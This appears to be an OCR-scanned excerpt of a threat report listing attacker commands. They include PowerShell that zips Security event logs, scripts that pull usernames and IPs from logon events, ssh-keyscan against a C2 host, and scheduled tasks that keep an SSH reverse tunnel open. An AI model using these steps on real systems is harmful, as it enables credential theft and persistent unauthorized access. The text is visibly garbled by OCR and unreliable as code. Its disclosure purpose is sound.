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: 'C:\Users\<username>\Documents\netscanold.exe
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.C:\Program Files\ehorus_agent\ehorus;uit.exé ;
~ C:\Program Files\ehorus_agent\ehorus_cmd.exe .

g C:\Program Files\ehorus_agent\ehorus_launcher.exe :
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dd-Type -A System.l0.Compression.FileSystem;;$zipFile = [System.l0.Compression.ZipFile]::Open('c:\users\

ublic\Security.zip', 'Update');[System.l0.Compression.ZipFileExtensions]::CreateEntryFromFile($zipfile,'c:\users\
ublic\Security.evtx','Security.evtx');$zipFile.Dispose()

cript to extract valid usernames from the evtx logs:

L___-,__Get-Eventlog -LogName Security | where {$.eventID -eq 4624 } | % {$.ReplacementStrings[6] + ";" +
s $.Replacement$trings[5] +";" + $.ReplacementStrings[11]} | Export-csv guli_<Local_server>.csv -encoding utf8

. Get-WinEvent -Path C:\users\public\Security_<serverl>.evtx | where {$.ID -eq 4624 } | Select -Property @
t . {N='Domain'; E={$.Properties[6].value}},@{N="User'; E={$.Properties[5].value}},@{N="IP'; E={$.Properties[18] value}} ;
I‘TExport cst \users\public\guli_<serverl>.csv - encodlng utf8 2
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:* Identifying internet access:
ping <remote_IP>
ping <second_remote_IP>

Get the public SSH host keys for the C2 system:
ssh-keyscan -p 443 <remotelP>

*_Configure local ssh keys and grant permissions:
.tssh-keygen -f <path>/.ssh/id_rsa -t rsa -N "<passphrase>"
~ icacls <path>/.ssh/id_rsa /inheritance:r
cacls <path>/.ssh/id_rsa /grant:r "%username%":"(R)
. icacls <path>/.ssh/sshd_config /inheritance:r
i icacls <path>/.ssh/sshd_config /grant:r "%username%":"(R)

Configure tasks to be executed every minute “SSH Server” and “SSH Key Exchange” configuring an Reverse Tunneling:
. schtasks.exe /create /sc minute /mo 1 /tn "SSH Server" /rl highest /np /tr "<path>\sshd\sshd.exe -f <path>/.ssh/sshd_
. config"
... schtasks.exe [create /sc minute /mo 1 /tn "SSH Key Exchange" /rl highest /np /tr <path>\sshd\ssh.exe -i <path>\.ssh\
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